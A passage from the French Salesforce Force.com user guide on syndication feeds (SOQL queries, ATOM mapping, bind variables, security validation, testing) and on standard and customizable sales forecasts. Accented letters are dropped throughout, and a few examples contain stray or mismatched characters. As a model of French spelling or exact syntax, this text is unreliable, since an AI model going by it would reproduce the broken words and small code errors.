Si la requte SOQL ne contient aucune valeur Organiser par spcifie, les enregistrements sont organiss par la
valeur LastModifiedDate, si elle existe, ou par la valeur SystemModstamp.
COUNT n'est pas pris en charge.
Les requtes agrges ne sont pas prises en charge. Par exemple, la requte suivante ne peut pas tre utilise dans une
requte SOQL de fils de syndication :
SELECT Name, (SELECT CreatedBy.Name FROM Notes) FROM Account

Pour plus d'informations sur les requtes de relation agrges, reportez-vous aux exemples de requtes agrges dans
le guide Force.com Web Services API Developer's Guide.

Vous pouvez utiliser des variables de liaison, variables dont la valeur est fournie dans l'URL. Pour plus d'informations,
reportez-vous Utilisation de variables de liaison pour les requtes et le mappage la page 1433.
Remarque: Si l'utilisateur invit ne dispose pas des accs de scurit au partage et au niveau du champ appropris,
vous ne pouvez pas enregistrer votre requte car la plate-forme Force.com vrifie l'accs et le partage avant
l'enregistrement.

Mappage
tant donn que les fils de syndication utilisent le protocole de publication Web ATOM, vous devez fournir une valeur
de mappage qui correspond aux objets et champs des enregistrements renvoys avec des constructions ATOM. Notez
que toutes les valeurs doivent tre des constantes de chane. Pour plus d'informations sur les lments de mappage,
reportez-vous Mappage d'objet ATOM la page 1432.
Vous pouvez utiliser des variables de liaison, variables dont la valeur est fournie dans l'URL. Pour plus d'informations,
reportez-vous Utilisation de variables de liaison pour les requtes et le mappage la page 1433.
Dure maximale de mise en cache en secondes
Comme de nombreux utilisateurs peuvent accder un fil en mme temps, Salesforce.com met les donnes de fil en
cache pendant 3600 secondes par dfaut. Vous pouvez modifier cette valeur, de 300 secondes au minimum la dure de
votre choix. Les rsultats de requte plus anciens que la dure spcifie sont supprims et une nouvelle requte est excute
lors de la demande d'informations suivante, c'est--dire lorsque l'utilisateur ouvre une page contenant un fil auquel il
s'est abonn.
Actif
Activez cette case afin de rendre le fil disponible pour l'abonnement. Une fois le fil actif, les utilisateurs peuvent s'y
abonner.

Sites Force.com

Guide de l'utilisateur | Dfinition des fils de syndication | 1432

Mappage d'objet ATOM

Vous devez spcifier un mappage dans la dfinition du fil de syndication. Le mappage associe des constructions ATOM, telles
que le titre de l'entre la valeur correspondante dans un enregistrement, Nom du compte par exemple. Un ensemble complet
de mappages reprsente un fil d'informations et la requte reprsente le contenu de chaque lment d'information dans un fil.
Par exemple, les enregistrements de pistes crs aujourd'hui ou les contacts contenant des informations de compte mises
jour.
Un lment de fil est l'enveloppe de chaque partie d'un lment d'information et un lment d'entre est le contenu de cette
enveloppe.
Le mappage permet galement d'appliquer des tiquette courtes divers champs pour l'affichage.
Le tableau suivant rpertorie chaque ATOM, chaque d'objet et prsente les valeurs fournir :
Elment de fil

Elment
d'entre

Description

fa

Requis uniquement si ea (auteur de l'entre) n'est pas spcifi. Auteur du fil. Par exemple,
fa:"Auteur du fil Acme Admin Marie" indique que l'auteur du fil est Admin
Marie.

fid

Facultatif (car une valeur par dfaut est fournie). ID du fil. Par dfaut, cette valeur est
l'URL du site public. Si vous spcifiez une valeur, elle doit tre un identificateur de
ressource internationalis (IRI) valide. Un IRI est une URL gnralise qui autorise
l'utilisation de l'Unicode.

fl

Facultatif (car une valeur par dfaut est fournie). Lien du fil. Par exemple,
fl:"http://www.salesforce.com". Gnralement, les lecteurs de fil interprtent
cet lment en reliant le titre du fil cette URL.

fst

Facultatif. Sous-titre du fil. Par exemple, &map=ft:"Nouvelles

opportunits",fst:"Division Ouest" indique le titre du fil Nouvelles
opportunits et le sous-titre Division Ouest.

ft

Obligatoire. Titre du fil. Par exemple, ft:"Nouvelles opportunits".

ea

Requis uniquement si fa (auteur du fil) n'est pas spcifi. Auteur de l'entre. Par exemple,
ea:"Compte cr par : " + Account.CreatedBy .

ec

Obligatoire. Contenu de l'entre. Par exemple,ec:"description de " Name "<br>"

Description indique la valeur du champ Name avec du texte supplmentaire. La sortie
du fil correspondant cet exemple peut donner :
description de Ajax Industries Description

ect

Facultatif. Contenu de l'entre de type text, html ou xhtml. Par exemple, ect: html
pour un contenu HTML. La valeur par dfaut est text.

el

Facultatif. Lien de l'entre. Doit tre un URI valide. Cette valeur est gnralement un
lien vers une autre reprsentation du contenu de l'entre. Par exemple, le lien peut tre
un enregistrement dans l'interface utilisateur Salesforce.com. Gnralement, les lecteurs
de fil interprtent cet lment en reliant l'entre du fil cette URL. Par exemple,
el:"Account.URl".

es

Facultatif. Rsum de l'entre. Rsum facultatif du contenu de l'entre. Par exemple,

et: Account.Name, es: Account.Name + "- numro de compte, site

Sites Force.com

Elment de fil

Guide de l'utilisateur | Dfinition des fils de syndication | 1433

Elment
d'entre

Description
Web et description", ec: Account.Number + " " + Account.Website
+ " " + Account.Description

Si aucun rsum n'est spcifi, les lecteurs de fil affichent le contenu dfini l'aide de
l'lment ec.
est

Facultatif. Rsum de l'entre de type text, html ou xhtml. Par exemple, est: html
pour un contenu HTML. La valeur par dfaut est text. Ne spcifiez aucune valeur si
es n'est pas dfini.

et

Obligatoire. Titre de l'entre, un nom de champ. Par exemple, et:Name.

eu

Facultatif. Par dfaut, la valeur <updated> de l'lment ATOM requis est

automatiquement fournie par LastModifedDate de l'entit principale faisant l'objet
de la requte, qui correspond gnralement l'objet dans la clause principale FROM de la
requte SOQL. Cette valeur indique de date de la dernire modification d'une entre ou
d'un fil. Pour modifier ce comportement par dfaut, vous pouvez spcifier une autre valeur
LastModifedDate d'objet ou de champ utiliser. Par exemple :
Requte : SELECT Id, Name, MyDate__c FROM AccountParamtre de
mappage : eu: MyDate__c
Requte : SELECT Id, Lastname, Account.LastMOdifiedDate FROM
ContactParamtre de mappage : eu: Account.LastModifiedDate

L'exemple suivant prsente des valeurs de mappage valides pour un fil de syndication :
ft: "Harry Potter", et: Name, ec: "description de " Name "<br>" Description, el: "/" Id,
ect: html

Les fils sont affichs dans le contexte de l'utilisateur invit du site public dans lequel ils sont utiliss. Par consquent, si vous
avez utilis des tiquettes personnalises pour grer l'internationalisation et spcifi des tiquettes dans votre mappage, les
utilisateurs voient ces tiquettes dans la langue de l'utilisateur invit. Pour plus d'informations, reportez-vous Etiquettes et
fils personnaliss la page 1434.
Vous ne pouvez pas utiliser que des constantes de chane dans le mappage de fils. Par exemple, vous ne pouvez pas utiliser des
constantes de date telles que TODAY ou LAST_WEEK.
Aprs avoir dfini un fil, vous devez le tester, puis l'activer en slectionnant la case Actif comme indiqu plus haut. Pour plus
d'informations sur le test, reportez-vous Test des fils de syndication la page 1436.
Utilisation de variables de liaison pour les requtes et le mappage
Vous pouvez utiliser des variables de liaison dans la clause WHERE de la requte SOQL. Les variables de liaison doivent respecter
le format suivant :
{!var_name}

La requte suivante utilise une variable de liaison nomme accountID.

SELECT Name, Description FROM Account WHERE Id = {!accountID}

Sites Force.com

Guide de l'utilisateur | Dfinition des fils de syndication | 1434

Notez qu'il ne s'agit pas du nom littral du champ, mais d'un nom arbitraire. A l'excution, la valeur accountID est transmise
la requte depuis l'URL. Ce fil est accessible via l'URL suivante et il est transmis dans l'ID de compte en tant que paramtre
de la chane de requte :
site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x

Vous pouvez galement utiliser des variables de liaison pour des valeurs de mappage.
Les dtails de mise en uvre suivants s'appliquent l'utilisation de variables de liaison pour les requtes :

Vous ne pouvez pas utiliser plus de 20 variables de liaison entre la dfinition d'un fil, des requtes et un mappage combins.
Le nom de la variable de liaison ne peut comporter plus de 100 caractres.
Vous pouvez utiliser une variable de liaison droite d'une opration de filtre pour reprsenter une partie de chane. Comme
elle reprsente une partie de chane, la variable doit tre entre guillemets. Par exemple, la requte suivante est valide :
SELECT Id, Name FROM Account WHERE Name = '{!myBindVariable}'

Les requtes suivantes ne sont pas valides, car la variable de liaison est mal positionne et ne fonctionne pas en tant que
variable pour une constante de chane :
SELECT Id, Name FROM Account WHERE {!myFieldName} = 'Joe' SELECT Id, {!myFieldName} FROM
Account WHERE IsDeleted = false

Vous ne pouvez pas utiliser une variable de liaison pour reprsenter un nom de champ. Cela signifie qu'une variable de
liaison ne peut pas tre utilise gauche d'une opration de filtre.
Vous ne pouvez pas utiliser une variable de liaison pour modifier la signification ou la structure d'une requte pour des
raisons de scurit. Les caractres spciaux que vous spcifiez dans la valeur de remplacement de la liaison sont interprts
comme des constantes de caractre lors de l'valuation de la requte.

Etiquettes et fils personnaliss

Si vous souhaitez localiser des fils en plusieurs langues, vous pouvez utiliser des tiquettes personnalises pour dfinir la chane
dans des langues multiples. Il suffit ensuite de faire rfrence l'tiquette personnalise dans la dfinition du mappage.
Lorsqu'une requte est excute, l'tiquette personnalise inspecte la langue de l'utilisateur invit et renvoie le texte traduit,
qui est utilis dans le mappage.
Les tiquettes personnalises peuvent tre spcifies dans un champ l'aide de la syntaxe suivante :
map_element_name: "{!$LABEL.custom_label_name}"

Pour spcifier une tiquette personnalise dans un fil, utilisez la procdure suivante :
1. Crez une tiquette personnalise l'aide des informations contenues dans Ajout ou modification des tiquettes personnalises
la page 687. Vous pouvez nommer l'tiquette personnalise en fonction de l'lment de mappage qui prend sa valeur, par
exemple feedTitle pour l'lment ft.
2. Entrez les valeurs de toutes les langues prises en charge.
3. Spcifiez une tiquette personnalise dans le mappage du fil.
Par exemple, supposons que vous crez un fil contenant des informations sur toutes les maisons que votre organisation essaie
de vendre. Si le titre de fil The Houses convient pour les utilisateurs anglais, le titre localis Les maisons est prfrable

Sites Force.com

Guide de l'utilisateur | propos des fils de syndication | 1435

pour les utilisateurs franais. Vous crez une tiquette personnalise, par exemple feedTitle. Sa valeur est Les maisons
en franais et The Houses en anglais. Dans la dfinition du mappage du fil, spcifiez ensuite pour le titre du fil fc::
ft: "{!$LABEL.feedTitle}"

Visualforce et les fils

Pour ajouter un fil une page Visualforce, utilisez les fonctionnalits HTML standard de Visualforce. Par exemple, si la page
Visualforce est situe dans le rpertoire de base du site, elle peut contenir une balise semblable la suivante :
<A HREF=""/services/xml/theFeedName">Mon fil</A>

Le texte My feed relie au fil.

Pour lier le fil partir d'une image, insrez une balise d'image en ligne semblable la suivante :
<A HREF="/xml/services/theFeedName"><img src="feed.gif"></A>

Vous devez tlcharger votre propre image.

Pour ajouter l'icne la barre d'adresse, ajoutez la balise du lien la balise <head> de la page Visualforce :
<link href='URI of feed' type='application/x.atom+xml' rel='feed' title='Titre descriptif'/>

Pour plus d'informations sur Visualforce, reportez-vous au manuel Visualforce Developer's Guide.

Voir aussi :
propos des fils de syndication
Test des fils de syndication

propos des fils de syndication

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Crer, modifier ou supprimer une dfinition de fil :

Modifier toutes les donnes

S'abonner un fil

Aucune autorisation utilisateur spciale requise

Les Fils de syndication permettent aux utilisateurs de s'abonner aux modifications apportes aux sites Force.com et de recevoir
des mises jour dans des lecteurs de fil externes. En dfinissant simplement une requte SOQL et un mappage, vous pouvez
syndiquer les modifications apportes aux donnes publiques pour l'utilisateur final. Vous pouvez crer un ou plusieurs fils de
syndication pour les sites publics de votre organisation ou pour n'importe quelle page Visualforce. Le fil de syndication affiche
les enregistrements spcifis par une requte SOQL. Les utilisateurs peuvent s'abonner au fil et l'afficher lorsqu'ils visitent le
site ou la page.

Sites Force.com

Guide de l'utilisateur | Test des fils de syndication | 1436

Validation de la scurit des fils

Lorsqu'un utilisateur s'abonne un fil, les informations sont excutes dans le contexte de l'utilisateur client. Vous devez par
consquent vous assurer que l'utilisateur client a accs tous les enregistrements appropris pour son utilisation et uniquement
ces enregistrements, avant de dfinir des requtes.
Pour valider la scurit des fils :

Modifiez le paramtre d'accs public au site pour vous assurer que l'utilisateur client dispose des autorisations d'objet et
des paramtres de scurit au niveau du champ appropris.
Crez des rgles de partage pour contrler les enregistrements auxquels l'utilisateur client a accs.

Une fois l'accs public et les paramtres de scurit au niveau du champ ajusts afin d'assurer la disponibilit pour l'utilisateur
client des objets que vous souhaitez inclure dans un fil, effectuez l'une des tches lies au fil suivantes :

Pour crer un fil, cliquez sur Nouveau.

Pour afficher la dfinition d'un fil existant, cliquez sur son nom.
Pour modifier un fil existant, cliquez sur Modifier.
Pour supprimer un fil existant, cliquez sur Supprimer.
Pour tester la validit d'un fil, cliquez sur Excuter le test. Si la dfinition ou le mappage de la requte contient des erreurs,
des messages d'erreur s'affichent.

Voir aussi :
Dfinition des fils de syndication
Test des fils de syndication
Paramtres d'accs public pour les sites Force.com
Dfinition du modle de partage par dfaut l'chelle de votre entreprise

Test des fils de syndication

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Crer, modifier ou supprimer une dfinition de fil :

Modifier toutes les donnes

S'abonner un fil

Aucune autorisation utilisateur spciale requise

Testez la dfinition de fil que vous avez cre avant de l'activer pour les utilisateurs.
Pour tester un fil :
1. Aprs avoir cr un fil, cliquez sur Configuration Sites, puis sur le site pour lequel vous avez dfini le fil. Vous pouvez
galement naviguer jusqu' la page de dtails du fil de n'importe quelle faon, notamment en cliquant sur le nom du fil
dans la page de dtails sur le site.
2. Cliquez sur Aperu pour le fil que vous souhaitez tester.
3. Si une ou plusieurs variables de liaison sont utilises dans le fil, une bote de dialogue s'affiche. Entrez une valeur pour
chaque variable de liaison.

Sites Force.com

Guide de l'utilisateur | Affichage des fils de syndication | 1437

4. Une bote de dialogue s'affiche qui permet de crer un signet pour le fil avec les valeurs des variables de liaison que vous
avez spcifies. Vous pouvez enregistrer le signet ou fermer la bote de dialogue.
5. Les valeurs renvoyes par votre fil sont affiches. Vrifiez que les rsultats correspondent votre attente.

Voir aussi :
Dfinition des fils de syndication
propos des fils de syndication

Affichage des fils de syndication

Disponible avec : Developer Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Crer, modifier ou supprimer une dfinition de fil :

Modifier toutes les donnes

S'abonner un fil

Aucune autorisation utilisateur spciale requise

Pour afficher la dfinition d'un fil de syndication, comprenant les enregistrements renvoys, et les donnes d'enregistrements
affiches :
Nom
Nom descriptif de ce fil, qui le distingue des autres fils que vous crez.
Description
Dcrit le fil. Par exemple, Prnom, nom et rgion du compte pour les dix derniers comptes crs ou modifis.
Requte
Requte SOQL qui dfinit quels enregistrements sont renvoys au fil de syndication. Pour assurer des performances
leves, quelques limitations sont imposes la requte SOQL. Pour plus d'informations, reportez-vous Dfinition
des fils de syndication la page 1430.
Mappage
tant donn que les fils de syndication utilisent le protocole de publication Web ATOM, vous devez fournir une valeur
de mappage qui correspond aux objets et champs des enregistrements renvoys avec des constructions ATOM. Notez
que toutes les valeurs doivent tre des constantes de chane. Pour plus d'informations sur les lments de mappage,
reportez-vous Dfinition des fils de syndication la page 1430.
Dure maximale de mise en cache en secondes
Comme de nombreux utilisateurs peuvent accder un fil en mme temps, Salesforce.com met les donnes de fil en
cache pendant 3600 secondes par dfaut. Cette valeur peut tre gale 300 secondes au minimum ou la dure de votre
choix. Les rsultats de requte plus anciens que la dure spcifie sont supprims et une nouvelle requte est excute
lors de la demande d'informations suivante, c'est--dire lorsque l'utilisateur ouvre une page contenant un fil auquel il
s'est abonn.

Sites Force.com

Guide de l'utilisateur | Affichage des fils de syndication | 1438

Actif
Cette case indique si le fil est disponible pour l'abonnement. Une fois le fil actif, les utilisateurs peuvent s'y abonner.

Voir aussi :
Dfinition des fils de syndication
propos des fils de syndication
Test des fils de syndication

Prvisions
Prsentation des prvisions
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Une prvision est une estimation aussi prcise que possible du chiffre d'affaires que vous pouvez gnrer en un trimestre. Ce
montant se compose des lments suivants : Montant valid, le montant que vous tes sr d'atteindre et Chiffre
d'affaires maximum, le chiffre d'affaires total qu'il vous est possible de gnrer. Les prvisions d'un responsable doivent
inclure le montant de chiffre d'affaires que l'ensemble de l'quipe peut gnrer.
L'onglet Prvisions avances affiche une page d'accueil qui vous permet de crer et de trouver rapidement des prvisions et des
quotas. L'onglet Prvisions avances affiche galement vos projections mensuelles de chiffre d'affaires, le nombre d'opportunits
ouvertes dans l'en-cours, et le montant de vos opportunits closes/gagnes. Les prvisions des responsables prsentent galement
les donnes de prvision cumules des utilisateurs qu'ils supervisent.
Remarque: Ces informations ne concernent pas les prvisions personnalisables. Si vous avez activ les exercices
personnaliss, vous devez utiliser des prvisions personnalisables.

Voir aussi :
Page d'accueil des prvisions

Page d'accueil des prvisions

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Il suffit de cliquer sur l'onglet Prvisions pour afficher la page d'accueil des prvisions.

Dans la section Vues des prvisions, slectionnez une vue dans la liste droulante pour accder directement cette page
de liste ou cliquez sur Crer une nouvelle vue pour dfinir votre propre vue personnalise.
Dans la section Rsum prvisionnel, les chiffres de prvision du trimestre actuel s'affichent par dfaut. Pour afficher les
prvisions pour un autre trimestre, slectionnez celui-ci dans la liste droulante. Dans le rsum, cliquez sur le bouton
Afficher ou sur le lien Total pour accder aux dtails de la prvision. Cliquez sur Modifier pour modifier la prvision.
Sous Cration rapide, choisissez le trimestre de prvision ajouter la nouvelle prvision.
Sous Rapports de prvision, cliquez sur le nom du rapport que vous voulez afficher.
Dans la section Attribution du quota, cliquez sur le lien permettant de crer un quota. Vous pouvez galement modifier
la prvision pour changer le quota de ce trimestre.

Prvisions

Guide de l'utilisateur | Affichage des listes prvisionnelles | 1440

Remarque: Ces informations ne concernent pas les prvisions personnalisables. Reportez-vous Est-ce que je dispose
de la prvision personnalisable ? la page 1445 pour dterminer si l'entreprise a activ les prvisions personnalisables.

Voir aussi :
Prsentation des prvisions
Affichage et modification des prvisions
Cration de prvisions
Cration de vues Listes personnalises

Affichage des listes prvisionnelles

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La page de liste des prvisions affiche la liste des prvisions dans votre vue actuelle. Depuis cette page, vous pouvez afficher
des informations de prvisions dtailles et accder des informations connexes sur les opportunits qui contribuent aux
rsultats prvus.

Cliquez sur une prvision pour afficher ses dtails. Cliquez sur Modifier ou sur Suppr en regard de l'entre de prvision
pour la modifier ou la supprimer. Reportez-vous Affichage et modification des prvisions la page 1440.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Nouvelle prvision pour crer une prvision. Reportez-vous Ajout et modification de quotas la page 33.
Cliquez sur l'en-tte de colonne voulu sur la page de liste pour trier les prvisions par ordre croissant en fonction des
informations contenues dans cette colonne. Cliquez de nouveau sur l'en-tte pour trier la colonne par ordre dcroissant.
Remarque: Ces informations ne concernent pas les prvisions personnalisables. Reportez-vous Est-ce que je dispose
de la prvision personnalisable ? la page 1445 pour dterminer si l'entreprise a activ les prvisions personnalisables.

Affichage et modification des prvisions

Reportez-vous aux rubriques suivantes pour afficher et modifier les prvisions :

Affichage des prvisions

Modification des prvisions
Marquage des prvisions
Configuration de la devise de prvision

Prvisions

Guide de l'utilisateur | Affichage et modification des prvisions | 1441

Remarque: Ces informations ne concernent pas les prvisions personnalisables. Reportez-vous Est-ce que je dispose
de la prvision personnalisable ? la page 1445 pour dterminer si l'entreprise a activ les prvisions personnalisables.

Voir aussi :
Historique des prvisions
Prvisions de l'quipe

Affichage des prvisions

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Aprs avoir repr une prvision sur la page d'accueil ou dans les pages de liste des prvisions, cliquez sur Afficher ou sur le
nom de la prvision pour afficher des informations dtailles.
En haut de la page, le tableau prsente les champs de prvision, qui peuvent contenir les valeurs calcules ou les informations
que vous avez entres. Cliquez sur Modifier pour modifier la prvision (reportez-vous Modification des prvisions la page
1441).
Si votre organisation utilise plusieurs devises, les montants des prvisions et des opportunits sont convertis et affichs dans
votre devise personnelle. Les champs de montant des opportunits ne sont pas affects. Cliquez sur Modifier la devise pour
changer la devise par dfaut de la prvision (reportez-vous Configuration de la devise de prvision la page 1442).
Les dtails de la prvision sont affichs en bleu et les opportunits en jaune dans la partie infrieure de la page de dtails des
prvisions :

Pour chaque mois de la prvision, vous pouvez cliquer sur des opportunits individuelles pour afficher des dtails
supplmentaires. Cliquez sur Nouveau pour ajouter des opportunits pour ce mois dans la prvision.
Dans la liste Prvisions de l'quipe associe (reportez-vous Prvisions de l'quipe la page 1443), les responsables peuvent
visualiser le cumul des montants de leur quipe.
Dans la liste Historique des prvisions associe, (reportez-vous Historique des prvisions la page 1443), vous pouvez
afficher l'historique des modifications apportes la prvision.

Pour revenir la page de liste prcdemment affiche, cliquez sur Retour la liste en haut de la page de dtails des prvisions.

Modification des prvisions

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Pour modifier votre prvision, choisissez Modifier sur la page d'accueil ou de dtails des prvisions. Pour crer une nouvelle
prvision, reportez-vous Cration de prvisions la page 1444.
1. Pour chaque opportunit, ajustez si ncessaire la valeur Catgorie prvisionnelle.

Le Montant total de l'opportunit est ajout la catgorie que vous choisissez. Le Chiffre d'affaires prvu
n'intervient pas dans le calcul.

Prvisions

Guide de l'utilisateur | Affichage et modification des prvisions | 1442

Choisissez la catgorie Omise pour retirer une opportunit du total valid, de chiffre d'affaires maximum et d'en-cours.

2. Pour afficher les modifications ainsi apportes aux chiffres prvisionnels, cliquez sur Recalculer. Les champs de prvision
sont recalculs en fonction des lments suivants :

le champ Montant des opportunits dans chaque Catgorie prvisionnelle

toute modification apporte la Catgorie prvisionnelle et ;
si vous tes un responsable dans la hirarchie des rles, toutes les modifications que les membres de votre quipe ont
apportes leurs prvisions.

Rappelons que le nombre d'En-cours n'est mis jour qu'au moment de l'enregistrement de la prvision.
3. Si ncessaire, modifiez les valeurs Quota, Montant valid et Chiffre d'affaires maximum.
4. Pour rendre vos modifications dfinitives, cliquez sur Enregistrer. Cette action enregistre les totaux recalculs, toute
modification apporte aux quotas, aux colonnes Montant valid et Chiffre d'affaires maximum ou la
Catgorie prvisionnelle des opportunits spcifiques. L'enregistrement met galement jour le nombre d'En-cours
de la prvision.
Si votre organisation utilise plusieurs devises, les montants des prvisions et des opportunits sont convertis et affichs dans
votre devise personnelle. Les champs de montant des opportunits ne sont pas affects.
Remarque: Tout changement apport au champ tape lors de la modification d'une opportunit rinitialise la
Catgorie prvisionnelle. Votre administrateur dfinit la correspondance entre les champs Catgorie
prvisionnelle et tape dans la liste de slection tape.

Voir aussi :
Configuration de la devise de prvision
Historique des prvisions
Prvisions de l'quipe
Cration de prvisions

Configuration de la devise de prvision

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Si votre entreprise utilise plusieurs devises, tous les montants des prvisions sont affichs par dfaut dans votre devise personnelle.
Si vous avez des opportunits dans plusieurs devises, ces montants sont convertis dans votre devise personnelle pour l'affichage ;
les montants rels des opportunits ne sont pas affects. Dans le cas des responsables, les montants des prvisions de leur quipe
sont convertis dans la devise personnelle du responsable. Le responsable peut descendre dans la prvision et les opportunits
d'un utilisateur pour voir les montants dans la devise d'origine.
Pour modifier la devise d'une prvision :
1. Affichez la prvision et cliquez sur Modifier la devise.
2. Choisissez une devise dans la liste et cliquez sur Enregistrer. Tous les montants sont convertis dans la nouvelle devise.
Si vous changez la devise du quota associ la prvision, la devise de la prvision change galement. Reportez-vous Ajout
et modification de quotas la page 33.

Prvisions

Guide de l'utilisateur | Affichage et modification des prvisions | 1443

Historique des prvisions

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La liste associe l'historique des prvisions d'une page de dtails des prvisions suit les modifications apportes la prvision.
chaque fois que vous modifiez les valeurs des champs Quota ( partir de la page de dtails de prvisions ou des pages
d'informations personnelles), Montant valid ou Chiffre d'affaires maximum, une nouvelle entre est ajoute la
liste Historique des prvisions associe. Toutes les entres comprennent les dates, heures et prvisions totales pour la priode
du changement.
Depuis l'onglet Rapports, vous pouvez afficher le rapport de l'historique des prvisions qui affiche l'historique des prvisions
pour vos prvisions, avec un sous-total par opportunit.

Voir aussi :
Ajout et modification de quotas
Rapports sur les opportunits, prvisions et ventes

Prvisions de l'quipe
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Sur les pages de prvisions, les responsables voient leurs propres opportunits ainsi que le cumul des donnes de prvision des
utilisateurs qu'ils supervisent.
Remarque: Si les membres de votre quipe n'ont pas cr de prvisions pour le trimestre, aucune information les
concernant ne s'affiche.

Sur la page de dtails des prvisions, la liste associe aux prvisions de l'quipe affichent des donnes de prvision pour
chaque utilisateur que vous supervisez. Ces montants sont additionns pour vous donner le montant total cumul pour
votre quipe. Cliquez sur le nom d'un utilisateur pour afficher le dtail de ses prvisions, ou cliquez sur Modifier pour
modifier ses prvisions.
Sur la page de modification des prvisions, chaque mois a une liste associe la prvision de l'quipe, ce qui vous permet
de consulter un total cumul des montants des opportunits et des prvisions pour chaque mois.
Si votre entreprise utilise plusieurs devises, les prvisions des membres de l'quipe sont converties et affiches dans la devise
de la prvision du responsable. Cliquez sur le nom d'un utilisateur pour descendre dans la prvision et afficher les montants
dans la devise d'origine.

Prvisions

Guide de l'utilisateur | Cration de prvisions | 1444

Cration de prvisions
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Pour crer une prvision :

1. Cliquez sur Nouvelle prvision.
2. Choisissez votre anne et un trimestre pour la prvision, puis cliquez sur Suivant. L'anne slectionne doit dpendre des
paramtres L'exercice commence au mois de en vigueur dans votre organisation.
3. Tapez le Quota pour chaque mois de la prvision.
4. Vrifiez et modifiez si ncessaire la Catgorie prvisionnelle des opportunits de la prvision.
Si vous modifiez l'une des valeurs Catgorie prvisionnelle, cliquez sur Recalculer pour mettre jour les chiffres
de la prvision. Rappelons que le nombre d'En-cours n'est mis jour qu'au moment de l'enregistrement de la prvision.
5. Si ncessaire, modifiez la valeur calcule pour les champs Montant valid et Chiffre d'affaires maximum. Les
estimations des responsables doivent inclure le montant de chiffre d'affaires pouvant tre gnr par eux et l'ensemble de
leur quipe.
6. Cliquez sur Enregistrer.
Si la Cration rapide est active par votre administrateur, vous pouvez galement ajouter une nouvelle prvision la page
d'accueil des prvisions, ou en crant simplement un quota pour le trimestre, au sein de vos informations personnelles, accessibles
via Configuration Mes informations personnelles Informations personnelles.
Reportez-vous Affichage des prvisions la page 1441 pour des informations sur l'affichage des prvisions.
Remarque: Ces informations ne concernent pas les prvisions personnalisables. Reportez-vous Est-ce que je dispose
de la prvision personnalisable ? la page 1445 pour dterminer si l'entreprise a activ les prvisions personnalisables.

Voir aussi :
Modification des prvisions
Page d'accueil des prvisions

Prvisions personnalisables
Prsentation des prvisions personnalisables
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La prvision personnalisable constitue une solution flexible d'estimation du revenu gnr ou du nombre d'articles susceptibles
d'tre vendus par l'organisation. Vous pouvez configurer la prvision personnalisable pour qu'elle reflte la manire dont votre
organisation prvoit ses ventes. Avec la prvision personnalisable, vous effectuez des prvisions mensuelles ou trimestrielles,
utilisez des dates diffrentes lorsque vous appliquez des montants ces prvisions, tablissez des prvisions sur la base du chiffre
d'affaires ou de la quantit, ou des deux, et dfinissez des quotas supplmentaires sur la base des gammes de produits.
Utilisez les prvisions personnalisables pour examiner la prvision, puis procdez une navigation descendante dans les montants
prvisionnels pour afficher les opportunits incluses dans cette prvision. Remplacez les montants prvisionnels directement
dans l'opportunit, ou remplacez la prvision dans l'onglet Prvisions sans informer les utilisateurs qui vous sont rattachs dans
la hirarchie des rles de prvision.
Pour plus d'informations sur la mise en uvre des prvisions personnalisables dans votre organisation, reportez-vous
Configuration des prvisions personnalisables.

Voir aussi :
Gestion des prvisions personnalisables
Affichage des prvisions personnalisables
Est-ce que je dispose de la prvision personnalisable ?

Est-ce que je dispose de la prvision personnalisable ?

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Vous pouvez avoir des difficults identifier la prvision personnalisable car le nom de l'onglet ne change pas lorsque vous
passez la prvision personnalisable. Voici comment dterminer si vous disposez de la prvision personnalisable :
1. Cliquez sur l'onglet situ droite et portant une flche pour afficher tous les onglets auxquels vous avez accs.
2. Cliquez sur Personnaliser mes onglets.
Si vous avez activ la prvision personnalisable, celle-ci se trouve dans la liste des onglets disponibles ou dans la liste des onglets
slectionns.
Si vous ne disposez pas de la fonction de prvision personnalisable, vous pouvez l'activer. En fonction de votre entreprise, vous
disposez de diffrentes options pour activer les prvisions personnalisables.
1. Cliquez sur l'onglet Prvisions.

Si le bouton Prsentation de la prvision personnalisable est disponible, cliquez dessus. Cliquez ensuite sur Demander
maintenant !.
Si le bouton Demander maintenant ! est disponible, cliquez dessus.

Prvisions personnalisables

Guide de l'utilisateur | Utilisation des catgories prvisionnelles | 1446

Si vous ne voyez aucun de ces boutons, les prvisions personnalisables sont dj actives pour votre entreprise.

2. Lorsque la prvision personnalisable est active, reportez-vous Configuration des prvisions personnalisables la page
666.
Si vous n'utilisez pas les prvisions personnalisables, reportez-vous Page d'accueil des prvisions la page 1439.

Voir aussi :
Prsentation des prvisions personnalisables
Page d'accueil de la prvision personnalisable
Gestion des prvisions personnalisables
Soumission de prvisions personnalisables
Remplacement des prvisions personnalisables

Utilisation des catgories prvisionnelles

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La prvision reprsente les montants, dates et tapes d'opportunit. Cliquez sur l'onglet Prvisions avances et vous constaterez
que les montants prvisionnels sont rpertoris dans diffrentes catgories. En fonction de l'tape, le montant d'opportunit
peut apparatre dans les catgories prvisionnelles suivantes :

Maximum : inclut les montants que vous tes susceptible d'atteindre, les montants des opportunits closes/gagnes et les
montants de la catgorie Validation.
Close : inclut les montants des opportunits closes/gagnes.
